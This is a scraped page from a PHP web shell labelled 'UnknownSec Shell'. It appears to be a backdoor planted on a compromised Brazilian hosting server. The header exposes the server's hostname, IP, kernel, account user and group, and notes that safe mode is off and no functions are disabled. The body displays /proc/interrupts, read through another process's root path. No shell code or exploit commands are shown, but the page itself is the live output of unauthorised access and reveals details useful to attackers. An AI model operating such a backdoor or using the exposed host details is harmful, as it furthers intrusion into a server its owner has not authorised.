shell bypass 403

UnknownSec Shell

: /proc/1987746/root/proc/ [ dr-xr-xr-x ]
Uname: Linux dedi-15171674.espacofacial.com.br 5.14.0-687.36.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Aug 7 05:40:49 EDT 2026 x86_64
Software: Apache
PHP version: 8.2.33 [ PHP INFO ] PHP os: Linux
Server Ip: 172.67.154.186
Your Ip: 216.73.217.154
User: espa7358 (1004) | Group: espa7358 (1003)
Safe Mode: OFF
Disable Function:
NONE

name : interrupts
           CPU0       CPU1       CPU2       CPU3       CPU4       CPU5       CPU6       CPU7       CPU8       CPU9       CPU10      CPU11      CPU12      CPU13      CPU14      CPU15      
  1:          0          0          0          9          0          0          0          0          0          0          0          0          0          0          0          0   IO-APIC   1-edge      i8042
  4:          0          0          0          0          0        916          0          0          0          0          0          0          0          0          0          0   IO-APIC   4-edge      ttyS0
  8:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   IO-APIC   8-edge      rtc0
  9:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   IO-APIC   9-fasteoi   acpi
 10:          0          0          0          0          0          0          0     337866          0          0          0          0          0          0          2          0   IO-APIC  10-fasteoi   virtio4
 11:          0         75          0          0          0          0          0          0      54996          0          0          0          0          0          0          0   IO-APIC  11-fasteoi   virtio5, uhci_hcd:usb1
 12:          0          0         15          0          0          0          0          0          0          0          0          0          0          0          0          0   IO-APIC  12-edge      i8042
 14:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   IO-APIC  14-edge      ata_piix
 15:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   IO-APIC  15-edge      ata_piix
 24:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  PCI-MSIX-0000:00:03.0   0-edge      virtio1-config
 25:        488    1804672    1421889    1858323     420298    3067990     520266     743294    1523766     956849    1944815    1009799    1929053     109673    2885191     505961  PCI-MSIX-0000:00:03.0   1-edge      virtio1-input.0
 26:          9    1615397      15834    1401109     277939    2429199     421304     547861    1365582     834409    1906212    1033615    1756866     794060    3395827     244256  PCI-MSIX-0000:00:03.0   2-edge      virtio1-output.0
 27:        213    3761898    1516255    2986839    1395363    5892455    2299634    2107517    2316401    2430378    2613520    2105988    2983449       8164    3815135    1765220  PCI-MSIX-0000:00:03.0   3-edge      virtio1-input.1
 28:      94753    7408094    1268049    2432515     299042    4681836     871055    1032116    2034886     946275    2435334    1205420    2681750    1837120    3897218    1244580  PCI-MSIX-0000:00:03.0   4-edge      virtio1-output.1
 29:       1674    1964613     647375    2189032     402072    3088293     409935    1014333    1568778     847163    1676982     849848    1920812      81624    3238648     183663  PCI-MSIX-0000:00:03.0   5-edge      virtio1-input.2
 30:     617402    1710246     335896    1373527     164724    1870123     533262     532054    1144499     779104    1540324     673925    1490155     158152    2849946     263806  PCI-MSIX-0000:00:03.0   6-edge      virtio1-output.2
 31:         49    2750228    3879037   12837456    2474346   10783046     764867    1498816    3256174    3321683    3389764    3200557    3717022    2635821    5844338      96255  PCI-MSIX-0000:00:03.0   7-edge      virtio1-input.3
 32:          0    3291379      49772   21109745     161387    7854507    1211693    2047469    1987423    1184272    3287512    1944628    3130110     691815    5828030     874569  PCI-MSIX-0000:00:03.0   8-edge      virtio1-output.3
 33:          0    1788360     468643    1705980    1058161    2894612     658116     728730    1306082     660676    1620608    1033385    1876798     253955    2764486     813872  PCI-MSIX-0000:00:03.0   9-edge      virtio1-input.4
 34:        169    1531147      92993    1233383    1489481    1732305     478546     491225    1060151     520031    1559158     802734    1581918     758479    2241010     622929  PCI-MSIX-0000:00:03.0  10-edge      virtio1-output.4
 35:         69    2780357    5685407   14412759    3891731   19280926     979407    2644863    2520739    3038837    3341555    1767859    3329170    4743909    7496618    4835805  PCI-MSIX-0000:00:03.0  11-edge      virtio1-input.5
 36:          0    3793900     448028    8735577    1699621   36651045    1937805    1780930    2443974    2057932    3164186    1173677    3610050       3778    7030627    2257479  PCI-MSIX-0000:00:03.0  12-edge      virtio1-output.5
 37:          0    1464763    1209634    1448235     684291    2376754    1428073     799468    1202939     795569    1542514     914193    1425477     925291    2151182    1671448  PCI-MSIX-0000:00:03.0  13-edge      virtio1-input.6
 38:        150    1428053     407563    1357187     669051    1949797    1321673     776960    1544848     655435    1673824     783404    1622389     188163    2372971     216946  PCI-MSIX-0000:00:03.0  14-edge      virtio1-output.6
 39:    6209442    1159244     143396    1079196     183678    1915708     484591     891829     937766    1003690    1146913     877546    1117641     502305    1878399     583361  PCI-MSIX-0000:00:03.0  15-edge      virtio1-input.7
 40:       1145    1549357     195248    1442770     242287    2275010     535354    1171617    1365312     881427    1685003     853409    1678708      59677    2338783     617551  PCI-MSIX-0000:00:03.0  16-edge      virtio1-output.7
 41:          0    1469932          0   59757225          0   31023647          0          1   10426842          0   34471040    1795068    6920238          0   31644870    5888993  PCI-MSIX-0000:00:03.0  17-edge      virtio1-input.8
 42:        750    1872752     478880    1971082    1218560    3353762    1408142     713699    7780057     792463    2132229    1220673    2112226        560    2888848     132477  PCI-MSIX-0000:00:03.0  18-edge      virtio1-output.8
 43:     569638    1493469     796946    1625456     884861    2727669     798627     832114    1282640    1186278    1580255    1004305    1763479    1618259    2410907     990151  PCI-MSIX-0000:00:03.0  19-edge      virtio1-input.9
 44:     303323    1575250      84174    1604134     619649    2325929     567408     769611    1343960    2109219    1734459     928156    1734663       9326    2452727     301652  PCI-MSIX-0000:00:03.0  20-edge      virtio1-output.9
 45:    2911605    2036732     270561    2966315     750595    4676222    2152424    2559432    2269913    1947687    4625292    1854366    2890334    2086609    3225947     569198  PCI-MSIX-0000:00:03.0  21-edge      virtio1-input.10
 46:    1185660    2658741     136146    2227445    1117238    4090776    2078846     983282    1737772    1186502    8886250    1317733    2690841     496228    3070458     498388  PCI-MSIX-0000:00:03.0  22-edge      virtio1-output.10
 47:    2180270    1545780     194426    1804746    1234499    2765231    1384765    1044624    1628546    1021445    1726091    1738099    1767688     485704    2365407     368027  PCI-MSIX-0000:00:03.0  23-edge      virtio1-input.11
 48:        400    1711660     133630    1573095     365530    2338514     575917     857098    1520767     823029    2011242    2979840    1845662     501504    2523591     397831  PCI-MSIX-0000:00:03.0  24-edge      virtio1-output.11
 49:          0    2635899     919400    2863907    1182803    5052898    2629553    2146496    2485464    2123040    2605514    1783286    5099911    2977530    3798963    1741718  PCI-MSIX-0000:00:03.0  25-edge      virtio1-input.12
 50:          1    2737454     128734    2594034     958703    4493605     737563     674258    1870756    1348569    2506652    1501851   12839879      73521    3574426    1709737  PCI-MSIX-0000:00:03.0  26-edge      virtio1-output.12
 51:         28    1004162     843693    1247768    1058137    2060830     205346     608360    1180757     838927    1340481    1090219    1110694     951328    1873502     433674  PCI-MSIX-0000:00:03.0  27-edge      virtio1-input.13
 52:          0    1253564     193491    1206290     305529    1510271     213753     478352     862073     480359    1259708     685415    1083509    1021946    2052612     520141  PCI-MSIX-0000:00:03.0  28-edge      virtio1-output.13
 53:          0    2531317    8349952    5567229    4139815    8333887    2912915    1375258    2010409    2001330    3013291    2919620    3111830      40219    8711858    3566573  PCI-MSIX-0000:00:03.0  29-edge      virtio1-input.14
 54:   19255409    1849431    2487620    2223442      10345    3980729     807330     584285    1320522    1271673    1684513    1385250    2290422       1447   13709692     785369  PCI-MSIX-0000:00:03.0  30-edge      virtio1-output.14
 55:         20    1667917     953778    1463158     735481    2278983    1170805     933155    1472670     665715    1706633     728240    1650712     341681    2224319     684182  PCI-MSIX-0000:00:03.0  31-edge      virtio1-input.15
 56:        213    1574130     373700    1336154     361944    2087797     428678     656097    1060773     632189    1608031     865457    1568386     282821    2341379     413834  PCI-MSIX-0000:00:03.0  32-edge      virtio1-output.15
 57:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  PCI-MSIX-0000:00:05.0   0-edge      virtio3-config
 58:          0          0          0          0         11          0          0          0          0         13          0          0          0          0          0          0  PCI-MSIX-0000:00:05.0   1-edge      virtio3-virtqueues
 59:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  PCI-MSIX-0000:00:04.0   0-edge      virtio2-config
 60:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  PCI-MSIX-0000:00:04.0   1-edge      virtio2-control
 61:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  PCI-MSIX-0000:00:04.0   2-edge      virtio2-event
 62:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   76411412  PCI-MSIX-0000:00:04.0   3-edge      virtio2-request
 63:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  PCI-MSIX-0000:00:02.0   0-edge      virtio0-config
 64:       6385     540778     992117     665462    2585430     549862     746739    1289759    1177584     880071    1181895    1533829    1054073    1073809    1287430     684597  PCI-MSIX-0000:00:02.0   1-edge      virtio0-control
 65:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  PCI-MSIX-0000:00:02.0   2-edge      virtio0-cursor
NMI:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Non-maskable interrupts
LOC:  205767288  379858492  343924651  514495479  272404467  375932687  260512200  236623243  263783328  224818523  381071009  335155402  553213921  221629696  414331956  350897861   Local timer interrupts
SPU:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Spurious interrupts
PMI:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Performance monitoring interrupts
IWI:         42          8         10         12          5         10          4         86         34          6         12         16         18          8         11         14   IRQ work interrupts
RTR:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   APIC ICR read retries
RES:    3342506    2867213    2156339    3259095    3922900    3654890    3640975    3723718    3525828    3406701    3076421    2955095    2613267    3291586    2822987    2902489   Rescheduling interrupts
CAL:  116430577  103036878   78711862   75054704   71007713   67661657   61621708   58749930   54843824   55515603   62505863   59419800   68876238   55379927   58396448   56861818   Function call interrupts
TLB:      81554      73356      70217      71375      78429      75318      72674      81023      87294      78750      75973      77558      70719      79495      79809      80155   TLB shootdowns
TRM:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Thermal event interrupts
THR:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Threshold APIC interrupts
DFR:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Deferred Error APIC interrupts
MCE:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Machine check exceptions
MCP:      10311      10311      10311      10311      10311      10311      10311      10311      10311      10311      10311      10311      10311      10311      10311      10311   Machine check polls
ERR:          0
MIS:          0
PIN:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Posted-interrupt notification event
NPI:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Nested posted-interrupt event
PIW:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Posted-interrupt wakeup event
© 2026 UnknownSec